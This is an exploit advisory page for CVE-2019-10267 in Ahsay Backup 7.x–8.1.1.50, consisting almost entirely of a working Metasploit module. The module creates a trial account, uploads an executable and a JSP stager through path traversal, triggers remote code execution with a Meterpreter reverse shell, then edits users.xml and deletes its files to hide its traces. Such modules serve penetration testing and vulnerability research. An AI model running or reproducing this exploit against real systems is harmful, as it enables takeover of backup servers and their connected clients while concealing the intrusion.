Ahsay Backup 7.x / 8.x File Upload / Remote Code Execution

2019.07.27
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (Metasploit) # Date: 26-6-2019 # Exploit Author: Wietse Boonstra # Vendor Homepage: https://ahsay.com # Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe # Version: 7.x < 8.1.1.50 (REQUIRED) # Tested on: Windows / Linux # CVE : CVE-2019-10267 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload', 'Description' => %q{ This module exploits an authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute the upload credentials are needed, default on Ahsay Backup trial accounts are enabled so an account can be created. It can be exploited in Windows and Linux environments to get remote code execution (usualy as SYSTEM). This module has been tested successfully on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this flaw all connected clients can be configured to execute a command before the backup starts. Allowing an attacker to takeover even more systems and make it rain shells! Setting the CREATEACCOUNT to true will create a new account, this is enabled by default. If credeantials are known enter these and run the exploit. }, 'Author' => [ 'Wietse Boonstra' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-10267'], [ 'URL', 'https://www.wbsec.nl/ahsay/' ], [ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ] ], 'Privileged' => true, 'Platform' => 'win', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux x86', # should work but untested { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 1 2019')) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']), OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]), OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("","!$%^&*")]), OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']), OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']), ]) end def is_trial_enabled? res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'), 'method' => 'POST', 'data' => '' }) if res and res.code == 200 and "ENABLED" =~ /#{res.body}/ return true else return false end end def check_account? headers = create_request_headers res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','getUserProfile'), 'method' => 'POST', 'data' => '', 'headers' => headers }) if res and res.code == 200 print_good("Username and password are valid!") return true elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/ # fail_with(Failure::NoAccess, 'Username incorrect!') print_status("Username does not exist.") return false elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/ # fail_with(Failure::NoAccess, 'Username exists but password incorrect!') print_status("Username exists but password incorrect!") return false else return false end end def create_request_headers headers = {} username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) headers['X-RSW-custom-encode-username'] = username headers['X-RSW-custom-encode-password'] = password headers end def exploit username = datastore['USERNAME'] password = datastore['PASSWORD'] if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true" if username == "" or password == "" fail_with(Failure::NoAccess, 'Please set a username and password') else #check if account does not exists? if !check_account? # Create account and check if it is valid if create_account? drop_and_execute() else fail_with(Failure::NoAccess, 'Failed to authenticate') end else #Need to fix, check if account exist print_good("No need to create account, already exists!") drop_and_execute() end end elsif username != "" and password != "" if check_account? drop_and_execute() else if is_trial_enabled? fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!') end fail_with(Failure::NoAccess, 'Username and password are invalid') end else fail_with(Failure::UnexpectedReply, 'Missing some settings') end end def create_account? headers = create_request_headers res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','addTrialUser'), 'method' => 'POST', 'data' => '', 'headers' => headers }) # print (res.body) if res and res.code == 200 print_good("Account created") return true elsif res.body.include?('LOGIN_NAME_IS_USED') fail_with(Failure::NoAccess, 'Username is in use!') elsif res.body.include?('PWD_COMPLEXITY_FAILURE') fail_with(Failure::NoAccess, 'Password not complex enough') else fail_with(Failure::UnexpectedReply, 'Something went wrong!') end end def remove_account if datastore['CREATEACCOUNT'] username = datastore['USERNAME'] users_xml = "../../conf/users.xml" print_status("Looking for account #{username} in #{users_xml}") xml_doc = download(users_xml) xmldoc = Document.new(xml_doc) el = 0 xmldoc.elements.each("Setting/Key") do |e| el = el + 1 e.elements.each("Value") do |a| if a.attributes["name"].include?('name') if a.attributes["data"].include?(username) print_good("Found account") xmldoc.root.elements.delete el print_status("Removed account") end end end end new_xml = xmldoc.root print_status("Uploading new #{users_xml} file") upload(users_xml, new_xml.to_s) print_good("Account is inaccesible when service restarts!") end end def prepare_path(path) if path.end_with? '/' path = path.chomp('/') end path end def drop_and_execute() path = prepare_path(datastore['UPLOADPATH']) exploitpath = path.gsub("../../webapps/cbs/",'') exploitpath = exploitpath.gsub("/","\\\\\\") requestpath = path.gsub("../../webapps/",'') #First stage payload creation and upload exe = payload.encoded_exe exe_filename = Rex::Text.rand_text_alpha(10) exefileLocation = "#{path}/#{exe_filename}.exe" print_status("Uploading first stage payload.") upload(exefileLocation, exe) #../../webapps/cbs/help/en exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>} #Second stage payload creation and upload jsp_filename = Rex::Text.rand_text_alpha(10) jspfileLocation = "#{path}/#{jsp_filename}.jsp" print_status("Uploading second stage payload.") upload(jspfileLocation, exec) proto = ssl ? 'https' : 'http' url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp") #Triggering the exploit print_status("Triggering exploit! #{url}" ) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"), 'method' => 'GET' }) if res and res.code == 200 print_good("Exploit executed!") end #Cleaning up print_status("Cleaning up after our selfs.") remove_account print_status("Trying to remove #{exefileLocation}, but will fail when in use.") delete(exefileLocation) delete(jspfileLocation) delete("../../user/#{datastore['USERNAME']}",true) end def upload(fileLocation, content) username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) uploadPath = Rex::Text.encode_base64(fileLocation) headers = {} headers['X-RSW-Request-0'] = username headers['X-RSW-Request-1'] = password headers['X-RSW-custom-encode-path'] = uploadPath res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','upload'), 'method' => 'PUT', 'headers' => headers, 'data' => content, 'timeout' => 20 }) if res && res.code == 201 print_good("Succesfully uploaded file to #{fileLocation}") else fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way") end end def download(fileLocation) #TODO make vars_get variable print_status("Downloading file") username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) headers = {} headers['X-RSW-Request-0'] = username headers['X-RSW-Request-1'] = password res = send_request_cgi({ #/obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml 'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','download'), 'method' => 'GET', 'headers' => headers, 'vars_get' => { 'X-RSW-custom-encode-path' => fileLocation } }) if res and res.code == 200 res.body end end def delete(fileLocation, recursive=false) print_status("Deleting file #{fileLocation}") username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) headers = {} headers['X-RSW-Request-0'] = username headers['X-RSW-Request-1'] = password res = send_request_cgi({ #/obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz 'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','delete'), 'method' => 'DELETE', 'headers' => headers, 'vars_get' => { 'X-RSW-custom-encode-path' => fileLocation, 'recursive' => recursive } }) if res and res.code == 200 res.body end end def check #We need a cookie first cookie_res = send_request_cgi({ #/cbs/system/ShowDownload.do 'uri' => normalize_uri(target_uri.path, 'cbs','system','ShowDownload.do'), 'method' => 'GET' }) if cookie_res and cookie_res.code == 200 cookie = cookie_res.get_cookies.split()[0] else return Exploit::CheckCode::Unknown end if defined?(cookie) #request the page with all the clientside software links. headers = {} headers['Cookie'] = cookie link = send_request_cgi({ #/cbs/system/ShowDownload.do 'uri' => normalize_uri(target_uri.path, 'cbs','system','download','indexTab1.jsp'), 'method' => 'GET', 'headers' => headers }) if link and link.code == 200 link.body.each_line do |line| #looking for the link that contains obm-linux and ends with .sh if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux' filename = line.split("<a")[1].split('"')[1].split("?")[0] filecontent = send_request_cgi({ #/cbs/system/ShowDownload.do 'uri' => normalize_uri(target_uri.path, filename), 'method' => 'GET', 'headers' => headers }) if filecontent and filecontent.code == 200 filecontent.body.each_line do |l| if l.include? 'VERSION="' number = l.split("=")[1].split('"')[1] if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/ if number <= '8.1.1.50' and not number < '7' return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end end end else return Exploit::CheckCode::Unknown end end end else return Exploit::CheckCode::Unknown end else return Exploit::CheckCode::Unknown end end end


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